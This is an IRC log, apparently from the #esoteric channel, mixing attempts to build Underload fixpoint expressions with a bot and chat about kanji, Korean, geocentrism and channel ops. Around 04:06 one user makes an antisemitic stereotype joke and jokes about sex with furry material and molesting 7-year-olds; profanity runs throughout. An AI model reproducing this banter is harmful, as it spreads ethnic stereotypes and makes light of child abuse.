03:15:52 <fungot> a(a)((a(:^)*a(**)**):^)**
03:15:55 <elliott> ...
03:15:59 <elliott> not quite like that, no, fungot.
03:15:59 <fungot> elliott: you guys are trying to learn. but getting stuck on the queens puzzle yet? it's s'posed to be very optimistic about people!
03:16:07 <elliott> `addquote <fungot> elliott: you guys are trying to learn. but getting stuck on the queens puzzle yet? it's s'posed to be very optimistic about people!
03:16:07 <fungot> elliott: world domination! now i'm playing with the bot
03:16:30 <elliott> oerjan: why can't you use ~ again
03:16:33 <oerjan> oh dear fungot has been possessed!
03:16:33 <fungot> oerjan: it includes a suprise
03:16:36 <Sgeo> "An email containing your Login Name, plain text password, and subscription information will be sent to the email address associated with your account."
03:16:44 <Sgeo> FUCK YOU FUCK YOU FUCK YOU WITH A RUSTY AXE
03:16:55 <HackEgo> 319) <fungot> elliott: you guys are trying to learn. but getting stuck on the queens puzzle yet? it's s'posed to be very optimistic about people!
03:16:55 <elliott> oerjan: also DO YOU HAVE DIP yes or no
03:17:00 <elliott> without ~
03:17:08 <oerjan> no dip.
03:17:30 <elliott> sheesh
03:17:40 <elliott> ^ul (a)(a(:^)*a(**)**):^S
03:17:40 <fungot> a((a(:^)*a(**)**):^)**
03:17:44 <elliott> ok this is easy.
03:17:47 <elliott> possibly the most easy thing.
03:17:57 <elliott> ^ul (a)(:a(:^)*a(**)**):^S
03:17:57 <fungot> :a(:^)*a(**)**((:a(:^)*a(**)**):^)**
03:18:00 <elliott> whoa.
03:18:02 <elliott> no.
03:18:05 <Sgeo> Oh, and passwords must be lower cased
03:18:07 <Sgeo> GENIUS
03:18:10 <Sgeo> FUCKING GENIUS
03:18:12 <elliott> ^ul (a)(a(:^)*a(**)*S*):^S
03:18:12 <fungot> ((a(:^)*a(**)*S*):^)** ...out of stack!
03:18:15 <elliott> ^ul (a)(a(:^)*a(**)S**):^S
03:18:15 <fungot> ** ...out of stack!
03:18:16 * Sgeo middle fingers the place
03:18:18 <elliott> ^ul (a)(a(:^)*a(**)**S):^S
03:18:18 <fungot> a((a(:^)*a(**)**S):^)** ...out of stack!
03:18:22 <elliott> ^ul (a)(a(:^)*a(**)*~S*):^S
03:18:23 <fungot> a ...out of stack!
03:18:42 <elliott> ^ul (a)((a))(a(:^)*a(**)***):^S
03:18:42 <fungot> a(a)((a(:^)*a(**)***):^)**
03:18:46 <elliott> aw
03:18:47 <elliott> so fuckin
03:18:48 <elliott> close
03:18:58 <elliott> ^ul (a)((a))(a*(:^)*a(**)**):^S
03:18:58 <fungot> a((a)(a*(:^)*a(**)**):^)**
03:19:10 <elliott> oerjan: that goes to two levels now right?
03:19:14 <elliott> or does it go forever?
03:19:41 <oerjan> now you are losing the ((a))
03:20:07 <elliott> oerjan: I SUSPECT AN INFINITE REGRESS HERE
03:20:08 <oerjan> hm...
03:20:18 <elliott> ^ul (a)(a(:^)*a(**)**):^S
03:20:19 <fungot> a((a(:^)*a(**)**):^)**
03:20:22 <elliott> ^ul (a)(Sa(:^)*a(**)**):^S
03:20:23 <fungot> Sa(:^)*a(**)** ...out of stack!
03:20:32 <elliott> ^ul (a)(~Sa(:^)*a(**)**):^S
03:20:32 <fungot> a ...out of stack!
03:20:52 <elliott> man oerjan
03:20:54 <elliott> thinking hurts.
03:21:04 <oerjan> i think even an x = a(x) would be a great starting point
03:21:11 <elliott> oerjan: i have an idea though
03:21:16 <elliott> is there something not using swap which goes
03:21:16 <elliott> ok wait
03:21:17 <elliott> we have
03:21:21 <elliott> (x):^ = (x)x
03:21:24 <elliott> is there something that goes
03:21:35 <elliott> (y)(x)FOO = (x)(y)x
03:21:37 <elliott> without FOO using ~
03:21:41 <elliott> i doubt it, but...
03:21:51 <elliott> i'll try x = a(x)
03:21:53 <elliott> ^ul (a)S
03:21:54 <fungot> a
03:21:56 <oerjan> not without also using !
03:22:03 <elliott> oerjan: why can't you use ~ again?
03:22:04 <elliott> just curious
03:22:04 <elliott> ^ul (a)((foo)*):^S
03:22:04 <fungot> (foo)*foo
03:22:15 <elliott> ^ul (a)(a*):^S
03:22:15 <fungot> a(a*)
03:22:21 <elliott> ^ul (a)(:*a*):^S
03:22:22 <fungot> a(:*a*:*a*)
03:22:42 <oerjan> that would have to be some variation of the expansion for ~. i'd prefer to avoid it, it's going to blow up things something crazy even if it works
03:22:43 <elliott> oerjan: ok i think we can theorematicallyificatory prove that there is no way to do anything with the a below.
03:22:45 <elliott> apart from concatenate it
03:22:50 <cheater-> interesting
03:22:50 <cheater-> http://en.wikipedia.org/wiki/TRON_Project
03:22:51 <elliott> (the only thing that looks one down)
03:22:54 <elliott> unless we...
03:22:55 <elliott> call it
03:22:58 <elliott> ^ul ((a)~^)(a*):^S
03:22:58 <fungot> (a)~^(a*)
03:23:05 <elliott> ^ul ((a)~^)():^S
03:23:07 <elliott> oops
03:23:12 <elliott> ^ul ((a)~^)((foobar)**):^S
03:23:12 <fungot> (a)~^(foobar)**foobar
03:23:23 <elliott> oerjan: dude, i don't care if it'd explode
03:23:24 <elliott> this is painful
03:23:29 <elliott> oh wait
03:23:31 <elliott> can't use ~^
03:23:33 <oerjan> WELL STOP THEN
03:23:33 <elliott> whoop de fucking doo
03:23:38 <elliott> oerjan: no it's fun
03:23:57 <elliott> ^ul ((a)a*)((foobar)**^):^S
03:23:57 <fungot> ...out of stack!
03:24:04 <elliott> ^ul ((a)*)((foobar)**^):^S
03:24:04 <fungot> ...out of stack!
03:24:12 <elliott> ^ul ((a)*)((foobar)**):^S
03:24:12 <fungot> (a)*(foobar)**foobar
03:24:17 <elliott> ^ul ((a)*)((S)**^):^S
03:24:17 <fungot> ...out of stack!
03:24:21 <elliott> ^ul ((a)*)(((hello fuckworld)S)**^):^S
03:24:21 <fungot> ...out of stack!
03:24:23 <elliott> guh?
03:24:33 <elliott> ^ul ((a))(((hello fuckworld)S)**^):^S
03:24:33 <fungot> ...out of stack!
03:24:40 <elliott> eh
03:24:44 <elliott> oh the *.
03:24:55 <cheater-> http://www.linuxinsider.com/story/31855.html
03:25:00 <augur> elliott: hi
03:25:04 <cheater-> The Most Popular Operating System in the World
03:25:22 <elliott> um hi augur
03:26:05 <augur> you pinged unintentionally, i responded unnecessarily.
03:26:13 <augur> :D
03:26:19 <elliott> oh
03:26:20 <elliott> hi.
03:26:27 <elliott> oerjan: can you just do the blowup version FIRST? :D
03:26:31 <elliott> just proving it would be a feat.
03:26:49 <zzo38> Pingpingpingpingpingpingpingpingpingpingpingpingpingpingpingpingpingpingpingping oops it is stuck!!
03:26:59 <oerjan> O_o
03:27:11 <elliott> was that at me or zzo
03:27:16 <oerjan> zzo
03:27:19 <elliott> surely you've noticed zzo is weird by now.
03:27:22 <elliott> you seem awfully surprised by it lately
03:28:35 <oerjan> ->
03:29:08 <elliott> oerjan: psht
03:51:51 <elliott> so are you BACK YET oerjan
03:51:58 <oerjan> fnord
03:52:19 <elliott> oerjan: did your or my idea work :(
03:55:40 <oerjan> ...now you're making me feel guilty. which is poison to creativity, and makes sure my brain _won't_ work to find a solution until it passes.
03:56:12 <elliott> oerjan: your elaborate web of excuses amuse me!
03:56:14 <elliott> :D
03:56:16 <elliott> no srs no guilt
03:56:20 <elliott> GUILT-free
03:56:40 <elliott> what if i like, came up with a bunch of really terrible pointless suggestions, could you exercise your brain by dismissing them
03:57:06 <oerjan> hm maybe
03:57:21 <elliott> oerjan: ok what if you did it like
03:57:37 <elliott> (a)(:^(to get the resulting fixpoint)!*(**)*):^
03:57:55 <elliott> haha, sorry, i think i just made the first joke written in underload :/
03:57:59 <elliott> inadvertently
03:58:12 <oerjan> that _does_ look pretty loopy
03:58:46 <elliott> puns! you are getting back on the right track my friend.
03:58:57 <elliott> oerjan: personally i would just do the version where ! uses ~
03:59:01 <elliott> and have that expand a fuckton
03:59:05 <elliott> and once it's proved, work on refining
03:59:12 <elliott> but then i have never done anything :D
04:00:42 <elliott> hmm i think i disabled the oerjan-bot
04:00:48 <elliott> insufficient coffee supply --> no theorems??
04:00:54 <elliott> i'll get the beans
04:01:12 <oerjan> i just had an ice coffee mocha
04:01:20 <elliott> gross. are you sure you're human?
04:01:29 <elliott> (ok i've had ice coffee before and even liked it. but i don't admit it in _public_.)
04:01:33 * oerjan doesn't drink enough coffee to brew at home
04:01:53 <elliott> maybe that explains your insufficient theorem output :D
04:02:02 <oerjan> and that instant stuff which i keep for emergencies is vile
04:02:12 <elliott> ack
04:02:29 <oerjan> especially after i haven't used it for months :D
04:03:09 <oerjan> my stomach cannot take more than a couple cups of coffee per day, regardless
04:03:30 <elliott> i like your :Ds, we need more :D in this channel, it's quite a good smiley
04:03:45 <oerjan> i don't think i used it before i came here
04:04:00 <elliott> oerjan: when was that, 1947? :D
04:04:09 <oerjan> i recall i used :-) in agora and thereabouts
04:04:17 <elliott> i can't imagine you have a nose, sorry
04:04:22 <elliott> ps COME BACK TO AGORA
04:04:43 <elliott> 06.06.12:16:38:54 <oerjan> hi gregorR
04:04:43 <elliott> 06.06.12:16:40:11 <oerjan> first time here
04:04:43 <elliott> 06.06.12:16:40:37 <oerjan> right :-)
04:04:43 <elliott> 06.06.12:16:41:01 <oerjan> (first time in years i'm on irc, too)
04:04:43 <elliott> 06.06.12:16:43:01 <oerjan> thought so :-)
04:04:45 <elliott> oh god
04:04:47 <elliott> what beast is this
04:05:01 <oerjan> in 1947 my parents were babies
04:05:10 <elliott> oerjan: that means nothing to a time-traveller.
04:05:15 <Gregor> elliott: ...?
04:05:16 <oerjan> true, true
04:05:25 <elliott> Gregor: ...?
04:05:31 <Gregor> elliott: wtf was that log :P
04:05:33 <elliott> Are you referring to my massive ping of everyone or my ping-by-quote just now? :P
04:05:38 <elliott> Gregor: oerjan's first appearance (oerjan's lines only)
04:05:41 <elliott> *only version)
04:05:46 <Gregor> Ah
04:05:52 <Sgeo> VirtualBox, what do you mean, I can't even edit the description of a VM while it's running?
04:05:54 <elliott> "gregorR" it's like... aargh
04:05:56 <Sgeo> ::psyduck::
04:05:56 <elliott> how could anyone type that
04:05:58 <elliott> apart from like... hitler
04:06:02 <elliott> hitler could type that.
04:06:06 <elliott> but not robo-hitler, robo-hitler has no digits.
04:06:18 <elliott> jew hitler would have to be paid to do it. like everything
04:06:34 <Gregor> Notice how I was here when oerjan first joined, and yet oerjan has ops and I don't.
04:07:01 <elliott> That's because oerjan doesn't spend days fiddling with furry furry strap-on pegging girls.
04:07:09 <elliott> He's more mature, he sticks to wet furry pornographic material.
04:07:13 <elliott> That's one less furry.
04:07:13 <Gregor> Fiddling? We don't fiddle.
04:07:17 <elliott> Sorry, molesting.
04:07:26 <Gregor> I don't molest them.
04:07:35 <elliott> They're only 7 years old, you sick fuck.
04:07:53 <cheater-> http://tdwright.co.uk/phpplayground/BF/
04:07:55 <oerjan> Gregor: that _is_ a bit strange, you don't seem like a very disruptive guy
04:07:56 <cheater-> :D
04:08:10 <elliott> yeah but he's loud and abrasive and american
04:08:16 <elliott> you're, like, totally likeable.
04:08:21 <elliott> soft, like a blanket.
04:08:27 <oerjan> i mean not giving elliott ops - that's obvious
04:08:36 <elliott> hey i've been here longer than you ... well ok that's a lie
04:09:01 <elliott> why do you think i'm still here, i'm waiting for my sheer oldbieness to overwhelm the fact that i'm an irritating little shit, and finally get ops ;D
04:09:25 <oerjan> elliott: about on your 90th birthday
04:09:41 <elliott> i'll be a robot by then.
04:09:44 <elliott> beeeeeeeeeeeeeep
04:09:45 <oerjan> after which you exterminate the channel
04:09:48 <elliott> :}}}
04:09:52 <elliott> happy robot set fire to things!
04:09:57 <elliott> ^_^
04:10:22 <oerjan> happy fire, happy red colors!
04:10:36 <elliott> YAY
04:10:39 <elliott> DANCE IN FLAMES!
04:10:41 <elliott> NICE AND WARM!
04:10:48 <elliott> ok i think me and oerjan need sending off to an asylum pronto.
04:10:59 * oerjan whistles innocently
04:11:46 <elliott> oerjan: so are you taking my perfect suggestion ;D
04:11:53 <oerjan> NEVER
04:11:53 -!- elliott has quit (Read error: Connection reset by peer).
04:12:07 <oerjan> he could not bear to hear the answer
04:12:15 -!- elliott has joined.
04:12:18 <elliott> do ! with ~ -- and i was just going to mention how stable my connection got
04:12:36 <elliott> hi oerjan
04:12:36 -!- elliott has quit (Read error: Connection reset by peer).
04:12:36 <oerjan> and ~ with !. check.
04:12:52 -!- elliott has joined.
04:12:57 <elliott> you're fucking kidding me.
04:12:59 <elliott> oerjan: no no no
04:13:02 <oerjan> very stable indeed
04:13:03 <elliott> ~ the way you are already doing it
04:13:05 <elliott> and ! with ~
04:13:23 <oerjan> elliott: the way i'm already doing ~ is with !
04:13:24 -!- elliott has quit (Read error: Connection reset by peer).
04:13:30 <oerjan> SHEESH
04:14:22 -!- elliott has joined.
04:14:40 <oerjan> {~}
04:14:41 <oerjan> {:} a(*)**a((junk))*:*^ :
04:14:41 <oerjan> {!} ** a(!)**
04:14:41 <oerjan> {*} *
04:14:41 <oerjan> {(x)} ({x})(junk) ({x})
04:14:43 <oerjan> {a} a(*)**a((junk))*(junk) a
04:14:46 <oerjan> {^} a(*)**^ ^
04:14:49 <oerjan> {S} *S S
04:14:52 <oerjan> you will note the empty line (~)
04:15:09 <elliott> oerjan: well er. :D
04:15:12 <oerjan> the left ones were my earlier junk between neighbors idea
04:15:17 <elliott> oerjan: can't you use your existing construction for ! or whatever?
04:15:18 <elliott> :/
04:16:31 <oerjan> i don't _have_ an existing construction for ! without ~ there
04:16:36 <elliott> ah
04:17:11 <Sgeo> Why are filesystems accessible from EFI?
04:18:24 <oerjan> elliott: the thing is if ! could be directly expressed without ~ then it would be perfect - just fill in that and substitute it in my already known expression for ~, QED
04:18:35 <elliott> ah
04:18:45 <elliott> oerjan: but what if ! is expressable with ~ and you do it recursively?
04:18:52 <elliott> maybe that would have better luck than trying to do ! recursively itself!
04:20:01 <oerjan> well there is also the (X)~ = aa((!(X)))*:*^!**^
04:20:02 -!- elliott has quit (Read error: Connection reset by peer).
04:20:06 <oerjan> subroutine
04:20:25 -!- elliott has joined.
04:20:44 <elliott> lksdjsldf
04:23:49 <elliott> hey Gregor we have a dirty pachelbel fan in our wake
04:28:47 <zzo38> We do?
04:31:52 -!- elliott has quit (Quit: Leaving).
04:32:59 -!- Lymia has joined.
04:32:59 -!- Lymia has quit (Changing host).
04:32:59 -!- Lymia has joined.
04:46:17 <zzo38> Is any symbol for variance used other than $\sigma^2$?
04:46:45 <Gregor> Y'know what? I'm gonna turn it 'round.
04:46:57 <Gregor> I'm AWESOME because I'm the longest-lasting no-privileges #esoteric member.
04:47:21 <Gregor> fizzie may be older, but that's just because he's got some benefits, some attachment.
04:47:31 <Gregor> He's just here for the power trip.
04:47:39 <zzo38> Gregor: Turn what?
04:47:44 <Gregor> Me on the other hand, I've got nothin'.
04:47:53 <Gregor> I've been here five years and I'm here out of LOVE.
04:48:37 <Gregor> zzo38: The fact that I'm a longer-lasting member of #esoteric than everyone but fizzie, and yet I don't have ops (and e.g. oerjan does :P )
04:49:06 <pikhq> X to the D, man.
04:50:15 <zzo38> But I think you have made many things of interest?
04:50:15 <zzo38> Gregor: Yes, but do you need ops? I don't need ops. Nor does most others.
04:50:15 <zzo38> It is possible to change the topic message without being channel operator.
04:50:41 <Gregor> Exactly! I don't need ops. I don't need something tying me down to stick with it!
04:53:19 <zzo38> But, do you know why some of the account flags does not display when NS INFO command is used? QUIETCHG flag is not displayed.
04:53:54 <dbc> :)
04:55:05 <zzo38> I have flags set HIDEMAIL, NOMEMO, NOOP, NEVEROP, QUIETCHG, but it won't display any notificiation that I have QUIETCHG set, except when I try to turn it on, it says this flag is already set.
05:10:36 <zzo38> What information can you see in my account with NS INFO? I can see a bunch of information and I want to know which ones are hidden to you.
05:12:34 -!- Sgeo has quit (Ping timeout: 240 seconds).
05:13:07 -!- asiekierka has joined.
05:13:09 <pikhq> 18% of Americans believe in geocentrism.
05:13:12 <pikhq> No. Fucking. Joke.
05:13:17 <pikhq> AND THESE PEOPLE VOTE.
05:13:41 <zzo38> Why should geocentrism affect your vote?
05:14:06 <pikhq> zzo38: It demonstrates a willful disregard for evidence and reasoning.
05:15:02 <zzo38> Actually, I think if you put the Earth (or even yourself) in the center, all the physics still works. However, it works much better with the sun in the center.
05:15:45 <zzo38> Do you believe me?
05:16:03 <pikhq> Well, in a *technical* sense, which body is the center of your reference frame makes no difference to how the physics actuaally work.
05:16:10 <pikhq> Because *that* is merely an arbitrary choice.
05:16:15 <zzo38> pikhq: Yes, that is what I meant.
05:16:37 <pikhq> But that's not what's usually meant by "geocentrism".
05:16:58 <zzo38> OK.
05:17:07 -!- Sgeo has joined.
05:17:21 <Sgeo> I blame Windows 2003
05:18:19 <pikhq> Usually, it refers to the Ptolemaic model, wherein the heavenly bodies are attached to a circle on a circle, configured such that the predictions of this match actual astronomical observation.
05:18:20 <zzo38> Maybe I should look up "geocentrism" in Wikipedia.
05:19:24 <pikhq> Also, this geocentric model completely fails to account for the seasons.
05:24:10 <zzo38> I think Pythagoras beloeved that neither the earth nor sun in center; they believed in things that we now see cannot exist.
05:24:29 <zzo38> But at the time, they would not have been able to know that, so it would have worked for them.
05:25:45 <pikhq> Pythagoras was pretty smart. Just limited in his observation equipment.
05:26:52 <zzo38> pikhq: Yes, it is what I was mentioning.
05:27:12 <coppro> pikhq: and also obssessed with some stupid ideas
05:27:20 <coppro> like his irrational hatred for numbers that weren't fractions
05:27:25 <zzo38> coppro: Yes, that, too.
05:27:32 * Sgeo grins
05:27:37 <coppro> (*rimshot*)
05:28:11 <pikhq> coppro: I didn't say he was perfect.
05:28:17 <zzo38> How can I disable the scroll wheel in the mouse driver?
05:28:26 <Sgeo> I'm pretty sure coppro just wanted to make the joke
05:28:53 <Sgeo> Then again, Im not coppro
05:28:57 <Sgeo> And neither is I'm
05:29:01 * Sgeo goes grammatically insane
05:30:12 <pikhq> Better than semantically.
05:31:09 <zzo38> But, what I am talking about the relative physics, is that if you say you are the center of the universe then you are not incorrect. However, if you want to look at the motion of planets and stuff inside of our solar system, saying sun is center is better.
05:32:11 <zzo38> But what if you want to see the galaxies motions? Then you should probably find something else to say is center.
05:33:31 <Sgeo> This is the. most. bizzare. song that I have ever heard
05:33:38 <Sgeo> http://www.youtube.com/watch?v=6tokE083QMw
05:34:25 <Vorpal> <elliott> Prelude> length . words $ "[list of nicks in channel]" <-- you know, my irc client has a count already it displays in the status bar: "50 (0 ops)"
05:41:34 -!- mtve has quit (Ping timeout: 250 seconds).
05:44:13 <Lymia> elliott isn't here.
05:44:38 <Sgeo> He logreads. Mostly.
05:44:59 <Lymia> He literally isn't here.
05:45:01 <Lymia> See.
05:45:03 <Lymia> No elliott.
05:45:50 <oerjan> CORRECT AND IRRELEVANT
05:46:20 <Sgeo> THE BEST KIND OF CORRECT AND IRRELEVANT
05:46:36 -!- sftp has quit (Remote host closed the connection).
05:47:07 <pikhq> It is so very strange listening to Korean as a Japanese speaker.
05:47:22 -!- asiekierka has quit (Ping timeout: 246 seconds).
05:47:33 <pikhq> It's like, I'm almost catching maybe-cognates all the time. Yet not. So fucking weird.
05:48:33 <pikhq> (and yes, "cognate" is the right term. Even if Korean and Japanese aren't related (open question), they certainly do have a large quantity of cognates, from them both having a large injection of Sinitic vocabulary)
05:49:51 <zzo38> I am still working on TeXnicard. I am nearly finished. And then I will make some template.
05:50:39 <pikhq> And if it's technical conversation, I'm *actually* picking up cognates, which is even weirder, oddly enough.
05:51:32 <zzo38> pikhq: How often did you listen to any Korean speaking?
05:51:42 <pikhq> zzo38: It doesn't come up often.
05:51:58 <pikhq> But sometimes, it does, and it's weird when it does happen.
06:05:54 <Lymia> Is that why people say that Korean and Japanese are related?
06:05:55 <Lymia> =p
06:06:31 * Lymia hugs pikhq <3
06:06:38 <Lymia> Go learn Korean.
06:08:41 <pikhq> Lymia: Actually, the grammar really does it.
06:10:08 <pikhq> It's genuinely eerie the grammar similarities they have.
06:10:47 <Lymia> Are there any other languages with grammar like Japanese that arn't on the island of Japan?
06:10:48 <Lymia> :v
06:11:37 <zzo38> I would expect there is some similar grammar with different languages.
06:11:56 <Lymia> Japanese is weird.
06:11:57 <Lymia> ;-;
06:12:09 <pikhq> Not that weird, really.
06:12:15 <Lymia> Hey!
06:12:17 <Lymia> English is more weird.
06:12:30 <pikhq> Just with disputed relations to anything but the other Japonic languages.
06:12:39 <zzo38> Yes, English is weird in many ways I think.
06:12:47 <zzo38> But other language is, also.
06:13:00 <pikhq> Lymia: Actually, Japanese has many of the same things that makes English weird, as far as its history goes.
06:13:34 <pikhq> Namely, English is a Germanic language with half of a Romance language glued on, and Japanese is a Japonic language with half of a Sinitic language glued on.
06:13:44 <zzo38> But even when I was young, and did not know anything about language other than English, I thought English cannot possibly be the "proper language".
06:14:30 <zzo38> (This is opposite of many people, who thought that since they know English that it *must* be the "proper language".)
06:14:42 <zzo38> It is strange that it is thinking like this?
06:14:59 <pikhq> zzo38: What's strange is your use of your native language in this manner. :P
06:15:15 <Lymia> zzo38 should go learn Chinese.
06:15:37 <pikhq> Maybe I'll learn a Chinese language if/when I attain fluency in Japanese.
06:15:46 <pikhq> (there's more than one, you know!)
06:15:51 <Lymia> I know!
06:16:00 <Lymia> Both my parents are Chinese, and I visit China every summer.
06:16:00 <Lymia> :s
06:16:21 <pikhq> I'm going to guess that you are most familiar with Mandarin.
06:16:24 <Lymia> Yeah.
06:16:33 <zzo38> When I play Xiangqi (Chinese chess), I like to play with Traditional Chinese.
06:16:38 <Lymia> Cantonese sounds like an alien language! (ok, not really)
06:16:47 <pikhq> And Simplified Chinese? (gag)
06:17:25 <Sgeo> Six little eggs on the run
06:17:39 <Sgeo> They fuck each other three goes boom dubi dum
06:17:52 <zzo38> Many set of Xiangqi is Simplified Chinese, but I prefer the one with Traditional Chinese, I find it easier to understand, actually.
06:18:12 <Lymia> pikhq, move to Japan.
06:18:12 <pikhq> I have no doubt I'd find a traditional Xiangqi set easier.
06:18:16 <Lymia> You'll become fluent in no time.
06:18:17 <Lymia> =p
06:18:24 <pikhq> Of course, I can play shōgi.
06:18:31 <pikhq> Lymia: Likely.
06:18:55 <zzo38> I can play shogi, too!
06:19:10 <pikhq> Not to mention I could just fucking read the characters. :P
06:19:33 <Sgeo> I can play Go.
06:19:36 <Sgeo> A little
06:19:43 <pikhq> Go's not hard to play at all.
06:19:47 <pikhq> Just very hard to play well.
06:20:31 <Lymia> pikhq, actually.
06:20:39 <zzo38> Actually once I played Go against someone who was very good at it, and he gave me a shogi game afterwards, since he doesn't need it and he doesn't play shogi much.
06:20:42 <Lymia> Visiting Japan for a month or two would likely do it as well.
06:20:47 <zzo38> (I already have a set of Go)
06:20:57 <pikhq> Lymia: Depends on one's level of competence in the language, really.
06:21:14 <pikhq> Lymia: *Most* people who have some level of knowledge of it? Quite honestly, probably not.
06:21:25 <Lymia> Well.
06:21:36 -!- MigoMipo has joined.
06:21:36 <Lymia> I'm assuming that you can communicate decently already.
06:21:37 <Lymia> =p
06:21:58 <pikhq> Lymia: Most people go "OH HOLY FUCK THE KANJI", even the "fluent" speakers.
06:22:08 <pikhq> I mock them.
06:22:31 <Lymia> That being said, Japanese has the feel of something I'd expect more from a programming language for some reason.
06:23:09 <pikhq> Probably the emergent properties of its conjugation.
06:23:15 <zzo38> I find mixing kana with kanji makes it more efficient to read. However, it also makes it difficult to read it out loud.
06:23:36 <Lymia> wat
06:23:44 * Lymia pokes zzo38 with an accusition of being an AI
06:23:45 <pikhq> zzo38: 'S truth.
06:24:02 <Lymia> He knows/is learning Japanese?
06:24:03 <Lymia> `-`
06:24:13 <pikhq> Kana + kanji are actually really easy to read after spending, say, a couple months of brute-force kanji learning.
06:24:32 <pikhq> Still a pain to read out loud, though.
06:24:33 <HackEgo> No output.
06:24:36 <Lymia> pikhq, hopefully nobody does that with *insert language here's* API.
06:25:21 <zzo38> I read Akagi book and have experience with this.
06:25:23 <pikhq> (2 months should be sufficient for anyone to learn the rough semantics of the kanji in common use in Japanese, though it'll miss out on readings.)
06:25:56 <Lymia> zzo38, say something silly about Japanese.
06:26:16 <zzo38> Lymia: Like, what things?
06:26:22 <Lymia> The usual.
06:26:28 <zzo38> What usual?
06:27:04 <Lymia> pikhq, so.
06:27:25 <pikhq> So?
06:27:39 <Lymia> Why are there three people here interstsed in some way in Japanese?
06:28:03 <copumpkin> four
06:28:13 <Lymia> =3
06:28:19 <zzo38> Because I like to read Akagi manga book.
06:28:22 <pikhq> Probably courtesy of Japan having cultural exports of interest to geeks.
06:28:30 <zzo38> And I can play Japanese mahjong game.
06:28:45 <Lymia> pikhq, it's still a language!
06:28:48 <Sgeo> I have no interest in Japanese
06:29:03 <pikhq> Lymia: Geeks are also more likely than most to be interested in languages in general.
06:29:08 <Sgeo> Just random things from Japan...
06:29:22 <zzo38> Sgeo: Which random things from Japan?
06:29:26 <Sgeo> Anime and Go
06:29:32 <Sgeo> Well, I guess Go is from China
06:29:42 <Lymia> pikhq, if it isn't obvious already, I'm currently trying to learn Japanese.
06:30:01 <Lymia> Seems to mirror my attempts to learn programming languages! "Oh wait... there's still a vocabulary to deal with..."
06:30:06 <pikhq> あ、なるほど。面白い事だね。
06:30:17 <zzo38> But they didn't call it "Go" in China. Also, there is a slight difference in rule in Japanese. I think it only matters in case of passing your turn? I don't know for sure.
06:30:18 <Lymia> Gak. Kanji. *is shot*
06:30:40 <pikhq> Lymia: Pick up "Remembering the Kanji, Part I", by James Heisig.
06:30:42 <pikhq> Do it nao.
06:30:45 <Lymia> k
06:31:14 <pikhq> zzo38: They don't call it "Go" in Japan, either.
06:31:25 <pikhq> zzo38: It's "igo".
06:31:27 <pikhq> (囲碁)
06:31:32 <zzo38> pikhq: Yes, I know that. "Go" is just for short.
06:31:38 <Lymia> #esoteric: Now with extra not-Programming languages
06:31:40 <pikhq> (kanji just IIRC. They make sense, though.)
06:32:24 <Lymia> Gak.
06:32:25 <zzo38> But how many other people in here can play Japanese mahjong game or can read Akagi manga book?
06:32:28 <Lymia> I never bothered to learn Hanzi.
06:32:33 <Lymia> Now I wish I did...
06:32:34 <Lymia> ;-;
06:32:47 <pikhq> Lymia: Really, it's not hard to learn.
06:32:58 <Lymia> I havn't put much effort into it anyways.
06:33:01 <pikhq> Just insanely difficult with traditional methods.
06:33:04 <Lymia> I should likely do so.
06:33:18 <Lymia> pikhq, and the traditional method is?
06:33:21 <Lymia> Brute force?
06:33:22 <pikhq> Learning them stroke-by-stroke.
06:33:26 <pikhq> Which is *retarded*.
06:33:32 <Lymia> So brute force.
06:33:53 <pikhq> Almost all of them decompose into a handful of different components (about 200?).
06:34:05 <Lymia> So, it's something like Chinese's hanzi?
06:34:22 <pikhq> It *is* hanzi.
06:34:49 <pikhq> Essentially traditional Chinese, but there are some Japanese simplifications (nowhere near as severe as Simplified Chinese).
06:34:53 <pikhq> Also, some Japanese inventions.
06:35:51 <pikhq> Here's kanji in Japanese: 漢字. Here's hanzi in traditional Chinese: 漢字. Any further questions? :)
06:36:11 <Lymia> Can I stab you?
06:36:12 <Lymia> :o
06:36:48 <pikhq> And, oh, fine, here's simplified: 汉字
06:37:20 <Lymia> I see a block with 6C43 in it.
06:37:22 <Lymia> That's a weird character.
06:37:32 <Lymia> No wait, that's a 9.
06:37:38 <Lymia> (stupid font issues)
06:37:38 <pikhq> Amusingly, simplified is much harder for me, because many of the simplifications break the ability to decompose the characters.
06:37:54 <pikhq> http://upload.wikimedia.org/wikipedia/commons/9/99/Hanzi.svg Character on the upper right.
06:38:46 <zzo38> I also see 6C49 but that is because I do not have Chinese fonts in my computer. I do have Japanese fonts.
06:39:20 <zzo38> pikhq: Simplified is harder for me, too. It is why, when I play Xiangqi, I play with Traditional.
06:40:25 <pikhq> Really, only thing going for simplified Chinese is that it has fewer strokes.
06:41:00 <pikhq> And even that's not that big of a deal if you just write in something similar semicursive script.
06:41:41 -!- FireFly has joined.
06:41:49 <Lymia> Or type..
06:41:59 <pikhq> Or type, yes.
06:42:31 <zzo38> When I make the template, it should be the card game called "Big Spiders Land" and it should have a card named "Kanji Practice". And have no Constructed format, only Limited.
06:46:40 -!- copumpkin has changed nick to DisembodiedVoice.
06:48:16 -!- DisembodiedVoice has changed nick to copumpkin.
06:49:47 <zzo38> Bible Quiz: http://zzo38computer.cjb.net/textfile/miscellaneous/bible.quiz Can you answer these questions without refering to the Bible or to anything else?
06:50:32 <copumpkin> wtf, non-interactive quiz
06:50:40 <copumpkin> use the medium, luke
06:51:13 <zzo38> No, you have to print it out and write the answer on the paper. You can change the font size to make it to fit all on one page.
06:51:57 <fizzie> Gregor: The error message you get from that is not supposed to be for (({{}})); it's for ({}{}) sort of stuff. But of course there might be a parser bug. I'll try to have a look; but your test case is a bit on the large side.
06:52:12 <Sgeo> zzo38, did you copy/paste that from Skeptic's Annotated Bible?
06:52:31 <zzo38> No, but I did copy it from a related document.
06:52:46 <zzo38> However, I cleaned it a bit to fit on plain text and deleted the parts which are not necessary.
06:53:03 -!- MigoMipo has quit (Read error: Connection reset by peer).
06:53:34 <zzo38> (You can search for the related document yourself if you want, but to answer the question like a real quiz you should use the plain text format, printing it if necessary.)
06:54:57 <fizzie> Gregor: You have in there a construction that doesn't really make sense: ([-{ ([+{ ..... { ... -- where ...'s are code with no ()s (except a single (+)*30).
06:55:00 <pikhq> o.O'
06:55:07 <pikhq> 402 Payment Required
06:55:13 <pikhq> This is a real HTTP status code.
06:55:22 <fizzie> Gregor: The last { associates with the outer (, but that ( already has a { for it.
06:55:46 * Sgeo pays pikhq with six little eggs
06:56:00 <Sgeo> THis. Song. Is. Stuck. In. My. Head.
06:56:18 <zzo38> pikhq: I have written custom messages for most of the HTTP status codes including this one. For error 402 I mentioned that it is probably because you did not use Canadian money. (I know that isn't true; actually you cannot get such message on my server unless you specifically request it)
